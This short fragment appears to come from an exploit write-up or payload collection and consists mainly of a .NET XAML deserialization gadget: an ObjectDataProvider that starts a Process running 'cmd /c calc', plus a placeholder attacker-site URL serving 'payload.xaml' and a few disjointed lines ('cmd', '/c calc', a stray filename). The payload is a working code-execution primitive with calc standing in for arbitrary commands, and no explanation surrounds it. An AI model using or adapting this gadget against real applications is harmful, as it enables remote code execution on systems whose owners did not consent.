cmd
/c calc
http://[attackersite]/payload.xaml
<ObjectDataProvider MethodName="Start" x:Key="" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"><ObjectDataProvider.ObjectInstance><sd:Process xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"><sd:Process.StartInfo><sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" /></sd:Process.StartInfo></sd:Process></ObjectDataProvider.ObjectInstance></ObjectDataProvider>
xdfa65.xml